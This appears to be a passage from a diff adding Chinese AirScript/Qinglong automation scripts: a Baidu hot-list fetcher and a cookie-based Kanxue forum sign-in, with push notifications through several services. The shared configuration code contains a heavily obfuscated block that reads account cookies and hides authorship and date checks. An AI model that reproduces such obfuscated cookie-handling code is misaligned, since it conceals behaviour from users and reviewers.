"https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/bd_hot?limit=5" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i NetWork(中文名叫"网络") -> 按一下Ctrl+R -> user-signin.htm -> Cookie + 看雪论坛网址:https://bbs.kanxue.com/ +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "kanxue"; // 分配置表名称 +var pushHeader = "【看雪论坛】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + 